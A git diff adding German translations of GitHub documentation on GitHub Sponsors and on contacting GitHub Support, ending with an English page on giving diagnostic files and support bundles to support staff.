+- Pro Schlüssel sind maximal **25** Zeichen erlaubt. Wenn mehr übergeben werden, werden nur die ersten 25 gespeichert.
+- Pro Wert sind maximal **100** Zeichen erlaubt. Wenn mehr übergeben werden, werden nur die ersten 100 gespeichert.
+
+So kannst du mit `https://github.com/sponsors/{account}?metadata_campaign=myblog` beispielsweise Sponsoring nachverfolgen, das aus deinem Blog hervorgeht. `metadata_campaign` ist der Schlüssel und `myblog` der Wert. In der Metadatenspalte des Transaktionsexports wird der Schlüssel als `campaign` aufgeführt.
+
+## Sponsoren und Sponsoring anzeigen
+
+{% data reusables.sponsors.navigate-to-sponsors-dashboard %}
+1. Wenn du deine Sponsor*innen nach Ebene filtern möchtest, verwende das Dropdownmenü **Filtern**, klicke auf **Aktive Ebenen** oder **Inaktive Ebenen**, und wähle eine Ebene aus.
+  ![Dropdownmenü zum Filtern nach Ebene](/assets/images/help/sponsors/filter-drop-down.png)
+
+## Letzte Sponsoring-Aktivitäten anzeigen
+
+{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.your-sponsors-tab %}
+
+## Deine Sponsoring-Daten exportieren
+
+Du kannst deine Sponsoringtransaktionen nach Monat exportieren. {% data variables.product.company_short %} sendet Ihnen eine E-Mail mit den Transaktionsdaten aller Sponsor*innen des ausgewählten Monats. Nachdem der Export abgeschlossen ist, kannst du einen weiteren Monat an Daten exportieren. Du kannst bis zu 10 Datensätze pro Stunde für jedes deiner gesponserten Konten exportieren.
+
+{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.your-sponsors-tab %}
+1. Klicke rechts oben auf {% octicon "download" aria-label="The download icon" %} **Exportieren**.
+  ![Schaltfläche "Exportieren"](/assets/images/help/sponsors/export-all.png)
+1. Wähle einen Zeitrahmen und ein Format für die Daten aus, die du exportieren möchtest, und klicke dann auf **Export starten**.
+  ![Optionen für den Datenexport](/assets/images/help/sponsors/export-your-sponsors.png)
diff --git a/translations/de-DE/content/sponsors/sponsoring-open-source-contributors/attributing-sponsorships-to-your-organization.md b/translations/de-DE/content/sponsors/sponsoring-open-source-contributors/attributing-sponsorships-to-your-organization.md
new file mode 100644
index 0000000000..3243831674
--- /dev/null
+++ b/translations/de-DE/content/sponsors/sponsoring-open-source-contributors/attributing-sponsorships-to-your-organization.md
@@ -0,0 +1,31 @@
+---
+title: Zuordnen von Sponsorings zu deiner Organisation
+intro: Du kannst das von einer deiner Organisationen geleistete Sponsoring einer anderen Organisation zuordnen.
+redirect_from:
+  - /github/supporting-the-open-source-community-with-github-sponsors/attributing-sponsorships-to-your-organization
+versions:
+  fpt: '*'
+  ghec: '*'
+permissions: People who are organization owners of both organizations can attribute one organization's sponsorships to another organization.
+type: how_to
+topics:
+  - Open Source
+  - Organizations
+  - Sponsors profile
+shortTitle: Attribute sponsorships
+ms.openlocfilehash: a0b07535ef655f647a5c6bb65de39dcf11c1e6a3
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147884494'
+---
+1. Navigiere zu der Organisation, deren Sponsoring du einer anderen Organisation zuordnen möchtest.
+2. Klicke unter dem Namen deiner Organisation auf {% octicon "heart" aria-label="The heart icon" %} **Sponsoring**.
+  ![Registerkarte „Sponsoring“](/assets/images/help/sponsors/sponsoring-tab.png)
+1. Klicke in der oberen rechten Ecke auf {% octicon "gear" aria-label="The gear icon" %} **Einstellungen**.
+  ![Schaltfläche „Einstellungen“](/assets/images/help/sponsors/sponsoring-settings-button.png)
+1. Klicke unter „Sponsoring mit einem anderen Konto verknüpfen“ auf das Dropdownmenü und dann auf die Organisation, der die Förderungen dieser Organisation zugeordnet werden sollen.
+  ![Dropdownmenü zum Auswählen eines Kontos](/assets/images/help/sponsors/select-an-account-drop-down.png)
+1. Klicke auf **Konto verknüpfen**.
+  ![Schaltfläche „Konto verknüpfen“](/assets/images/help/sponsors/link-account-button.png)
diff --git a/translations/de-DE/content/sponsors/sponsoring-open-source-contributors/index.md b/translations/de-DE/content/sponsors/sponsoring-open-source-contributors/index.md
new file mode 100644
index 0000000000..725541580c
--- /dev/null
+++ b/translations/de-DE/content/sponsors/sponsoring-open-source-contributors/index.md
@@ -0,0 +1,24 @@
+---
+title: Open-Source-Mitwirkende unterstützen
+intro: 'Du kannst Mitwirkende unterstützen, Aktualisierungen von Entwicklern und Organisationen erhalten, die du unterstützt, und auf {% data variables.product.product_name %} durchgängig einen Sponsoren-Badge anzeigen.'
+redirect_from:
+  - /articles/sponsoring-open-source-developers
+  - /github/supporting-the-open-source-community-with-github-sponsors/sponsoring-open-source-developers
+  - /github/supporting-the-open-source-community-with-github-sponsors/sponsoring-open-source-contributors
+versions:
+  fpt: '*'
+  ghec: '*'
+children:
+  - /sponsoring-an-open-source-contributor
+  - /managing-your-sponsorship
+  - /attributing-sponsorships-to-your-organization
+  - /paying-for-github-sponsors-by-invoice
+shortTitle: Sponsor contributors
+ms.openlocfilehash: d395c72299f3727aa22ac3221e6f1100e867a8a1
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145134197'
+---
+
diff --git a/translations/de-DE/content/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship.md b/translations/de-DE/content/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship.md
new file mode 100644
index 0000000000..a403e8f472
--- /dev/null
+++ b/translations/de-DE/content/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship.md
@@ -0,0 +1,39 @@
+---
+title: Sponsoring verwalten
+intro: 'Du kannst verwalten, wer dein Sponsoring sehen kann, und festlegen, ob du per E-Mail Neuigkeiten von gesponserten Konten erhalten möchtest.'
+redirect_from:
+  - /articles/managing-your-sponsorship
+  - /github/supporting-the-open-source-community-with-github-sponsors/managing-your-sponsorship
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Contacting sponsors
+  - Privacy
+  - Open Source
+ms.openlocfilehash: 24f2e13d2ab55abb7c43aa52ddf641b45772d76f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147878988'
+---
+{% data reusables.sponsors.org-sponsors-release-phase %}
+
+## Verwalten der Datenschutzeinstellung für dein Sponsoring
+
+{% data reusables.sponsors.navigate-to-sponsored-account %} {% data reusables.sponsors.sponsorship-dashboard %} {% data reusables.sponsors.manage-sponsorship %} {% data reusables.sponsors.who-can-see-your-sponsorship %} {% data reusables.sponsors.update-sponsorship %}
+
+## Verwalten von E-Mail-Updates für dein Sponsoring
+
+Du kannst auswählen, ob ein von dir gesponsertes Konto dir E-Mails mit Aktualisierungen zu seiner Arbeit senden darf. Das gesponserte Konto hat keinen Zugriff auf deine E-Mail-Adresse.
+
+{% data reusables.sponsors.manage-updates-for-orgs %}
+
+{% data reusables.sponsors.navigate-to-sponsored-account %} {% data reusables.sponsors.sponsorship-dashboard %} {% data reusables.sponsors.manage-sponsorship %} {% data reusables.sponsors.choose-updates %} {% data reusables.sponsors.update-sponsorship %}
+
+## Weitere Informationsquellen
+
+- [Sponsoring heraufstufen](/articles/upgrading-a-sponsorship)
+- [Sponsoring herabstufen](/articles/downgrading-a-sponsorship)
diff --git a/translations/de-DE/content/sponsors/sponsoring-open-source-contributors/paying-for-github-sponsors-by-invoice.md b/translations/de-DE/content/sponsors/sponsoring-open-source-contributors/paying-for-github-sponsors-by-invoice.md
new file mode 100644
index 0000000000..f1c192d174
--- /dev/null
+++ b/translations/de-DE/content/sponsors/sponsoring-open-source-contributors/paying-for-github-sponsors-by-invoice.md
@@ -0,0 +1,26 @@
+---
+title: Zahlen für GitHub Sponsors per Rechnung
+shortTitle: Paying by invoice
+intro: 'Wenn dein Unternehmen {% data variables.product.company_short %} per Rechnung bezahlt, kannst du dem Dienst „Sponsoren für Unternehmen“ beitreten.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Sponsors
+  - Open Source
+redirect_from:
+  - /sponsors/sponsoring-open-source-contributors/paying-for-github-sponsors-via-invoice
+ms.openlocfilehash: d2040d1a06c2d1610b79dfd43ce362939554d822
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145134189'
+---
+{% data reusables.sponsors.beta-note-sponsors-for-companies %}
+
+Unternehmen können eine Rechnungsmethode verwenden, um am {% data variables.product.prodname_sponsors %}-Programm teilzunehmen. Dies ist dann besonders bequem, wenn dein Unternehmen bereits über eine Abrechnungsbeziehung mit {% data variables.product.company_short %} verfügt. Unternehmen, die per Rechnung bezahlen, erhalten Zugriff auf ein {% data variables.product.product_name %}-Dashboard, das Open-Source-Beiträge und Aktivitäten in allen öffentlichen Projekten auf {% data variables.product.prodname_dotcom_the_website %} misst, an denen sie interessiert sind.
+
+Du kannst diesem Betaprogramm beitreten, indem du mit deinem Vertriebsmitarbeiter sprichst oder [uns kontaktierst](https://support.github.com/contact/org-sponsors-waitlist).
+
diff --git a/translations/de-DE/content/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor.md b/translations/de-DE/content/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor.md
new file mode 100644
index 0000000000..0c9acb2573
--- /dev/null
+++ b/translations/de-DE/content/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor.md
@@ -0,0 +1,83 @@
+---
+title: Einen Open-Source-Mitwirkenden unterstützen
+intro: 'Du kannst monatlich wiederkehrende Zahlungen an einen Entwickler oder eine Organisation machen, welche ein für Dich wichtiges Open-Source-Projekt entwirft, erstellt oder unterhält.'
+redirect_from:
+  - /articles/sponsoring-a-developer
+  - /articles/sponsoring-an-open-source-contributor
+  - /github/supporting-the-open-source-community-with-github-sponsors/sponsoring-a-developer
+  - /github/supporting-the-open-source-community-with-github-sponsors/sponsoring-an-open-source-contributor
+versions:
+  fpt: '*'
+  ghec: '*'
+permissions: Anyone can sponsor accounts on behalf of their own personal account. Organization owners and billing managers can sponsor accounts on behalf of their organization.
+type: how_to
+topics:
+  - Open Source
+  - Sponsors payments
+shortTitle: Sponsor a contributor
+ms.openlocfilehash: d006324c270d29b9ce87189751e75722da13a6ea
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147710291'
+---
+{% data reusables.sponsors.org-sponsors-release-phase %}
+
+## Informationen zur finanziellen Unterstützung
+
+{% data reusables.sponsors.sponsorship-details %}
+
+Du kannst ein Konto im Namen deines persönlichen Kontos finanziell unterstützen, um in Projekte zu investieren, von denen du persönlich profitierst. Aus einer Vielzahl von Gründen ist es ebenfalls möglich, ein Konto zugunsten deiner Organisation finanziell zu unterstützen.
+- Unterstützung bestimmter Bibliotheken, auf denen die Arbeit deiner Organisation basiert
+- Investitionen in das Ökosystem, von dem eine Organisation abhängig ist (z. B. Blockchain)
+- Entwickeln von Markenbewusstsein als Organisation, die Open Source schätzt
+- Ausdruck von Dankbarkeit gegenüber Open-Source-Entwickler*innen für das Erstellen von Bibliotheken, die das Produkt ergänzen, das deine Organisation anbietet
+
+Du kannst deine Kreditkarte verwenden, um ein Konto auf {% data variables.product.product_name %} finanziell zu unterstützen. Wenn deine Organisation per Rechnung bezahlen möchte, findest du weitere Informationen unter [Bezahlen für {% data variables.product.prodname_sponsors %} per Rechnung](/sponsors/sponsoring-open-source-contributors/paying-for-github-sponsors-via-invoice).
+
+{% data reusables.sponsors.no-fees %} Weitere Informationen findest du unter [Informationen zur Abrechnung für {% data variables.product.prodname_sponsors %}](/articles/about-billing-for-github-sponsors).
+
+Wenn du ein Konto über eine Kreditkarte finanziell unterstützt, wird die Änderung sofort wirksam. {% data reusables.sponsors.prorated-sponsorship %}
+
+Wir können bestimmte eingeschränkte Steuerinformationen mit finanziell unterstützten Konten teilen. Weitere Informationen findest du unter [Informationen zu Steuern](#tax-information).
+
+{% data reusables.sponsors.manage-updates-for-orgs %}
+
+Du kannst auswählen, ob deine finanzielle Unterstützung öffentlich angezeigt werden soll. Einmalige finanzielle Unterstützungen bleiben für einen Monat sichtbar. 
+
+Wenn mit dem finanziell unterstützten Konto versucht wird, deinen Tarif außer Kraft zu setzen, wird der Tarif beibehalten, bis du einen anderen Tarif auswählst oder dein Abonnement beendest. Weitere Informationen findest du unter [Hochstufen eines Sponsorings](/articles/upgrading-a-sponsorship) und [Herabstufen eines Sponsorings](/articles/downgrading-a-sponsorship).
+
+Wenn das Konto, das du finanziell unterstützen möchtest, über kein Profil in {% data variables.product.prodname_sponsors %} verfügt, kannst du die Person, die das Konto verwaltet, zu einer Teilnahme ermutigen. Weitere Informationen findest du unter [Einrichten von {% data variables.product.prodname_sponsors %} für dein persönliches Konto](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account) und [Einrichten von {% data variables.product.prodname_sponsors %} für deine Organisation](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization).
+
+{% data reusables.sponsors.sponsorships-not-tax-deductible %}
+
+{% note %}
+
+**Hinweis:** {% data variables.product.prodname_dotcom %} ist nicht dafür verantwortlich, wie Entwickler*innen sich selbst darstellen, noch befürwortet {% data variables.product.prodname_dotcom %} irgendwelche finanziell unterstützten Open-Source-Projekte. Sämtliche Aussagen liegen in der alleinigen Verantwortung des Entwicklers, welcher die Beiträge erhält. Vergewissere Dich, dass Du einer Person vertrauen kannst, bevor du eine Unterstützung offerierst. Weitere Informationen findest du in den [zusätzlichen Bestimmungen für {% data variables.product.prodname_sponsors %}](/free-pro-team@latest/github/site-policy/github-sponsors-additional-terms).
+
+{% endnote %}
+
+## Steuerinformationen
+
+Als finanzielle*r Unterstützer*in erkennst du an, dass der Besitzerin bzw. dem Besitzer jedes von dir finanziell unterstützten Kontos die folgenden eingeschränkten Informationen zu deinen Zahlungen an das Konto seit Beginn des Sponsors-Programms übermittelt werden können:
+
+- Transaktionsdatum
+- Betrag
+- Informationen zum Ort (Land, Staat und Region), von dem aus die Zahlung geleistet wurde
+- Information dazu, ob die Zahlung von einem Unternehmen oder einer Einzelperson stammt
+
+Diese Informationen sind erforderlich, um die Zahlung und Dokumentation von Steuern zu ermöglichen, die sich aus solchen Zahlungen zur finanziellen Unterstützung ergeben.
+
+## Finanzielle Unterstützung für ein Konto
+
+Bevor du ein Konto finanziell unterstützen kannst, musst du über eine verifizierte E-Mail-Adresse verfügen. Weitere Informationen findest du unter [Verifizieren deiner E-Mail-Adresse](/github/getting-started-with-github/verifying-your-email-address).
+
+1. Navigiere auf {% data variables.product.product_name %} zum Profil der Benutzer*innen oder der Organisation, die du finanziell unterstützen möchtest.
+1. Navigiere zum Dashboard für die finanzielle Unterstützung für das Konto.
+   - Klicke unter dem Namen eine*r Entwickler*in auf **Finanziell unterstützen**, um diese Person finanziell zu unterstützen.
+     ![Schaltfläche „Finanziell unterstützen“](/assets/images/help/profile/sponsor-button.png)
+   - Um eine Organisation finanziell zu unterstützen, klicke rechts neben dem Namen der Organisation auf **Finanziell unterstützen**.
+     ![Schaltfläche „Finanziell unterstützen“](/assets/images/help/sponsors/sponsor-org-button.png)
+1. Optional kannst du rechts auf der Seite das Dropdownmenü **Finanziell unterstützen als** verwenden und die gewünschte Organisation auswählen, um das Konto im Namen deiner Organisation finanziell zu unterstützen.
+  ![Dropdownmenü zum Auswählen des Kontos, das unterstützt werden soll](/assets/images/help/sponsors/sponsor-as-drop-down-menu.png) {% data reusables.sponsors.select-a-tier %} {% data reusables.sponsors.pay-prorated-amount %} {% data reusables.sponsors.select-sponsorship-billing %} ![Schaltfläche zum Bearbeiten des Betrags](/assets/images/help/sponsors/edit-sponsorship-payment-button.png) {% data reusables.sponsors.who-can-see-your-sponsorship %} ![Optionsfelder für die Auswahl, wer Informationen zu deiner finanziellen Unterstützung anzeigen kann](/assets/images/help/sponsors/who-can-see-sponsorship.png) {% data reusables.sponsors.choose-updates %} {% data reusables.sponsors.sponsor-account %}
diff --git a/translations/de-DE/content/support/contacting-github-support/creating-a-support-ticket.md b/translations/de-DE/content/support/contacting-github-support/creating-a-support-ticket.md
new file mode 100644
index 0000000000..2854768368
--- /dev/null
+++ b/translations/de-DE/content/support/contacting-github-support/creating-a-support-ticket.md
@@ -0,0 +1,113 @@
+---
+title: Erstellen eines Supporttickets
+intro: 'Über das {% ifversion ghae %}{% data variables.contact.ae_azure_portal %}{% else %}{% data variables.contact.support_portal %}{% endif %} kannst du ein Supportticket erstellen und den {% data variables.contact.github_support %} kontaktieren.'
+shortTitle: Creating a ticket
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+redirect_from:
+  - /enterprise/admin/enterprise-support/preparing-to-submit-a-ticket
+  - /admin/enterprise-support/preparing-to-submit-a-ticket
+  - /admin/enterprise-support/receiving-help-from-github-support/preparing-to-submit-a-ticket
+  - /enterprise/admin/guides/enterprise-support/reaching-github-enterprise-support
+  - /enterprise/admin/enterprise-support/reaching-github-support
+  - /admin/enterprise-support/reaching-github-support
+  - /admin/enterprise-support/receiving-help-from-github-support/reaching-github-support
+  - /enterprise/admin/enterprise-support/submitting-a-ticket
+  - /admin/enterprise-support/submitting-a-ticket
+  - /admin/enterprise-support/receiving-help-from-github-support/submitting-a-ticket
+  - /articles/submitting-a-ticket
+  - /github/working-with-github-support/submitting-a-ticket
+topics:
+  - Support
+ms.openlocfilehash: 4be0e3be4154354bbc8ea592c9c13af4c0e217b4
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145134174'
+---
+{% ifversion fpt or ghec or ghes %}
+
+## Informationen zu Supporttickets
+
+{% data reusables.support.zendesk-old-tickets %}
+
+{% ifversion fpt %} {% data reusables.support.free-and-paid-support %} {% endif %}
+
+{% ifversion ghes or ghec %} {% data reusables.enterprise-accounts.support-entitlements %} {% endif %}
+
+{% ifversion ghes %} Du kannst dein Ticket mit dem {% data variables.contact.support_portal %} erstellen oder die Verwaltungskonsole von GitHub Enterprise Server verwenden, wenn du Diagnoseinformationen hinzufügen möchtest.
+{% endif %}
+
+Nachdem du dein Ticket erstellt hast, kannst du es sowie Antworten vom {% data variables.contact.github_support %} auf dem {% data variables.contact.contact_landing_page_portal %} anzeigen. Weitere Informationen findest du unter [Anzeigen und Aktualisieren von Supporttickets](/support/contacting-github-support/viewing-and-updating-support-tickets). 
+
+## Was in deinem Supportticket enthalten sein sollte
+
+Wenn du dem {% data variables.contact.github_support %} alles gibst, was benötigt wird, um ein Problem zu verstehen, zu ermitteln und nachzustellen, ermöglicht eine schnellere Lösung und weniger Kommunikation zwischen dir und dem Supportteam. Damit der {% data variables.contact.github_support %} dir helfen kann, beachte beim Schreiben deines Tickets die folgenden Punkte:
+
+- Sammle Informationen, die dem {% data variables.contact.github_support %} helfen können, das Problem zu verfolgen, zu priorisieren, zu reproduzieren oder zu untersuchen.
+- Füge vollständige URLs, Repositorynamen und Benutzernamen hinzu, sofern möglich.
+- Reproduziere das Problem nach Möglichkeit und sei darauf eingestellt, die Schritte darzulegen.
+- Bereite dich darauf vor, eine vollständige Beschreibung des Problems und der erwarteten Ergebnisse aufzuführen.
+- Kopiere den genauen Wortlaut aller Fehlermeldungen, die mit deinem Problem zusammenhängen.
+- Stelle fest, ob es in irgend einer laufenden Kommunikation mit {% data variables.contact.github_support %} eine vorhandene Ticketnummer gibt.
+- Füge relevante Protokolle hinzu sowie alle Screenshots, die das Problem veranschaulichen.
+
+{% ifversion ghes %}
+## Ansprechpartner auswählen
+
+Die Person die mit dem {% data variables.contact.github_support %} Kontakt aufnimmt, sollte speziell für Tickets mit Priorität „{% data variables.product.support_ticket_priority_urgent %}“ (dringend):
+
+ - sachkundig in Bezug auf deine internen Systeme, Tools, Richtlinien und Prozesse
+ - über Erfahrung mit {% data variables.product.product_name %} verfügen.
+ - uneingeschränkten Zugriff auf und alle Berechtigungen für alle Dienste haben, die zur Behebung des Problems erforderlich sind.
+ - ist berechtigt, die empfohlenen Änderungen an deinem Netzwerk und den entsprechenden Produkten vorzunehmen
+
+{% endif %}
+
+## Erstellen eines Supporttickets{% ifversion ghes %} mithilfe des Supportportals{% endif %}
+
+1. Rufe das {% data variables.contact.contact_support_portal %} auf.
+{% data reusables.support.submit-a-ticket %}
+
+{% ifversion ghes %}
+
+## Erstellen eines Tickets mithilfe der Verwaltungskonsole von GitHub Enterprise Server
+
+{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.type-management-console-password %} {% data reusables.enterprise_management_console.support-link %}
+1. Wenn du deinem Supportticket Diagnoseinformationen hinzufügen möchtest, klicke unter „Diagnose“ auf **Diagnoseinformationen herunterladen**, und speichere die Datei lokal. Die Datei kannst du später an dein Supportticket anhängen.
+  ![Screenshot der Schaltfläche „Diagnoseinformationen herunterladen“ auf der Supportseite der Verwaltungskonsole](/assets/images/enterprise/support/download-diagnostics-info-button.png)
+1. Um das Ticket zu vervollständigen und das {% data variables.contact.enterprise_portal %} anzuzeigen, klicke unter „Supportanfrage öffnen“ auf **Neue Supportanfrage**.
+  ![Screenshot der Schaltfläche „Neue Supportanfrage“ auf der Supportseite der Verwaltungskonsole](/assets/images/enterprise/management-console/open-support-request.png)
+{% data reusables.support.submit-a-ticket %}
+
+{% endif %}
+
+{% elsif ghae %}
+
+Du kannst ein Supportticket mit {% data variables.product.prodname_ghe_managed %} vom {% data variables.contact.ae_azure_portal %} aus absenden.
+
+## Voraussetzungen
+
+Um ein Ticket für {% data variables.product.prodname_ghe_managed %} im {% data variables.contact.ae_azure_portal %} abzusenden, musst du die ID deines Abonnements von {% data variables.product.prodname_ghe_managed %} in Azure bei deinem oder deiner Customer Success Account Manager*in (CSAM) bei Microsoft angeben.
+
+## Absenden eines Tickets über das {% data variables.contact.ae_azure_portal %}
+
+Gewerbekunden können Supportanfragen über das {% data variables.contact.contact_ae_portal %} absenden. Behördenkunden sollten das [Azure-Portal für Behördenkunden](https://portal.azure.us/#blade/Microsoft_Azure_Support/HelpAndSupportBlade) verwenden. Weitere Informationen findest du unter [Erstellen einer Azure-Supportanfrage](https://docs.microsoft.com/azure/azure-portal/supportability/how-to-create-azure-support-request) in der Microsoft-Dokumentation.
+
+## Problembehandlung im {% data variables.contact.ae_azure_portal %}
+
+{% data variables.product.company_short %} kann keine Zugriffs- und Abonnementprobleme im Azure-Portal behandeln. Wenn du Hilfe mit dem Azure-Portal benötigst, wende dich an deine*n CSAM bei Microsoft, oder lies die folgenden Informationen.
+
+- Wenn du dich nicht beim Azure-Portal anmelden kannst, lies den Artikel [Behandeln von Anmeldeproblemen bei Azure-Abonnements](https://docs.microsoft.com/en-US/azure/cost-management-billing/manage/troubleshoot-sign-in-issue) in der Microsoft-Dokumentation, oder [sende direkt eine Anfrage](https://support.microsoft.com/en-us/supportrequestform/84faec50-2cbc-9b8a-6dc1-9dc40bf69178).
+
+- Wenn du dich beim Azure-Portal anmelden, jedoch kein Ticket für {% data variables.product.prodname_ghe_managed %} absenden kannst, lies die Voraussetzungen zum Absenden eines Tickets. Weitere Informationen findest du unter [Voraussetzungen](#prerequisites).
+
+{% endif %}
+
+## Weitere Informationsquellen
+
+- [Informationen zum GitHub-Support](/support/learning-about-github-support/about-github-support)
diff --git a/translations/de-DE/content/support/contacting-github-support/index.md b/translations/de-DE/content/support/contacting-github-support/index.md
new file mode 100644
index 0000000000..2e68c2884d
--- /dev/null
+++ b/translations/de-DE/content/support/contacting-github-support/index.md
@@ -0,0 +1,25 @@
+---
+title: Kontaktieren des GitHub-Supports
+shortTitle: Contacting support
+intro: 'Im {% ifversion ghae %}{% data variables.contact.ae_azure_portal %}{% else %}{% data variables.contact.support_portal %}{% endif %} kannst du dich an den GitHub-Support wenden, um Hilfe bei der Behandlung von Problemen zu erhalten, die bei der Nutzung von GitHub auftreten.'
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+redirect_from:
+  - /enterprise/admin/guides/enterprise-support/receiving-help-from-github-enterprise-support
+  - /enterprise/admin/enterprise-support/receiving-help-from-github-support
+  - /admin/enterprise-support/receiving-help-from-github-support
+children:
+  - creating-a-support-ticket
+  - viewing-and-updating-support-tickets
+  - providing-data-to-github-support
+ms.openlocfilehash: d3017f78749d9df022dd71e0c99f6274785d9885
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145134170'
+---
+
diff --git a/translations/de-DE/content/support/contacting-github-support/providing-data-to-github-support.md b/translations/de-DE/content/support/contacting-github-support/providing-data-to-github-support.md
new file mode 100644
index 0000000000..c2460886cc
--- /dev/null
+++ b/translations/de-DE/content/support/contacting-github-support/providing-data-to-github-support.md
@@ -0,0 +1,184 @@
+---
+title: Providing data to GitHub Support
+intro: 'Since {% data variables.contact.github_support %} doesn''t have access to your environment, we sometimes require some additional information from you.'
+shortTitle: Providing data
+versions:
+  ghes: '*'
+redirect_from:
+  - /enterprise/admin/guides/installation/troubleshooting
+  - /enterprise/admin/articles/support-bundles
+  - /enterprise/admin/guides/enterprise-support/providing-data-to-github-enterprise-support
+  - /enterprise/admin/enterprise-support/providing-data-to-github-support
+  - /admin/enterprise-support/providing-data-to-github-support
+  - /admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support
+topics:
+  - Support
+---
+
+## About diagnostic files and support bundles
+
+{% data variables.contact.github_support %} may ask you to provide additional data in the form of sanitized log files. There are three types of log file you may be asked to provide.
+
+Diagnostic files contain information about a {% data variables.product.prodname_ghe_server %} instance's settings and environment, support bundles contain diagnostics and logs from the past two days, and extended support bundles also contain diagnostics and logs but from the past seven days.
+
+## About log file sanitization
+
+Authentication tokens, keys, and secrets are removed from log files in the following log directories contained within a support bundle or diagnostics file:
+
+* `alambic-logs`
+* `babeld-logs`
+* `codeload-logs`
+* `enterprise-manage-logs`
+* `github-logs`
+* `hookshot-logs`
+* `lfs-server-logs`
+* `semiotic-logs`
+* `task-dispatcher-logs`
+* `pages-logs`
+* `registry-logs`
+* `render-logs`
+* `svn-bridge-logs`
+
+## Creating and sharing diagnostic files
+
+Diagnostic files are an overview of a {% data variables.product.prodname_ghe_server %} instance's settings and environment that contains:
+
+- Client license information, including company name, expiration date, and number of user licenses
+- Version numbers and SHAs
+- VM architecture
+- Host name, private mode, SSL settings
+- Load and process listings
+- Network settings
+- Authentication method and details
+- Number of repositories, users, and other installation data
+
+You can download the diagnostics for your instance from the {% data variables.enterprise.management_console %} or by running the `ghe-diagnostics` command-line utility.
+
+### Creating a diagnostic file from the {% data variables.enterprise.management_console %}
+
+You can use this method if you don't have your SSH key readily available.
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.type-management-console-password %}
+{% data reusables.enterprise_management_console.support-link %}
+5. Click **Download diagnostics info**.
+
+### Creating a diagnostic file using SSH
+
+You can use this method without signing into the {% data variables.enterprise.management_console %}.
+
+Use the [ghe-diagnostics](/enterprise/admin/guides/installation/command-line-utilities#ghe-diagnostics) command-line utility to retrieve the diagnostics for your instance.
+
+```shell
+$ ssh -p122 admin@HOSTNAME -- 'ghe-diagnostics' > diagnostics.txt
+```
+
+## Creating and sharing support bundles
+
+After you submit your support request, we may ask you to share a support bundle with our team. The support bundle is a gzip-compressed tar archive that includes diagnostics and important logs from your instance, such as:
+
+- Authentication-related logs that may be helpful when troubleshooting authentication errors, or configuring LDAP, CAS, or SAML
+- {% data variables.enterprise.management_console %} log
+- `github-logs/exceptions.log`: Information about 500 errors encountered on the site
+- `github-logs/audit.log`: {% data variables.product.prodname_ghe_server %} audit logs
+- `babeld-logs/babeld.log`: Git proxy logs
+- `system-logs/haproxy.log`: HAProxy logs
+- `elasticsearch-logs/github-enterprise.log`: Elasticsearch logs
+- `configuration-logs/ghe-config.log`: {% data variables.product.prodname_ghe_server %} configuration logs
+- `collectd/logs/collectd.log`: Collectd logs
+- `mail-logs/mail.log`: SMTP email delivery logs
+
+For more information, see "[About the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise)."
+
+Support bundles include logs from the past two days. To get logs from the past seven days, you can download an extended support bundle. For more information, see "[Creating and sharing extended support bundles](#creating-and-sharing-extended-support-bundles)."
+
+{% tip %}
+
+**Tip:** When you contact {% data variables.contact.github_support %}, you'll be sent a confirmation email that will contain a ticket reference link. If {% data variables.contact.github_support %} asks you to upload a support bundle, you can use the ticket reference link to upload the support bundle.
+
+{% endtip %}
+
+### Creating a support bundle from the {% data variables.enterprise.management_console %}
+
+You can use these steps to create and share a support bundle if you can access the web-based {% data variables.enterprise.management_console %} and have outbound internet access.
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.type-management-console-password %}
+{% data reusables.enterprise_management_console.support-link %}
+5. Click **Download support bundle**.
+{% data reusables.enterprise_enterprise_support.sign-in-to-support %}
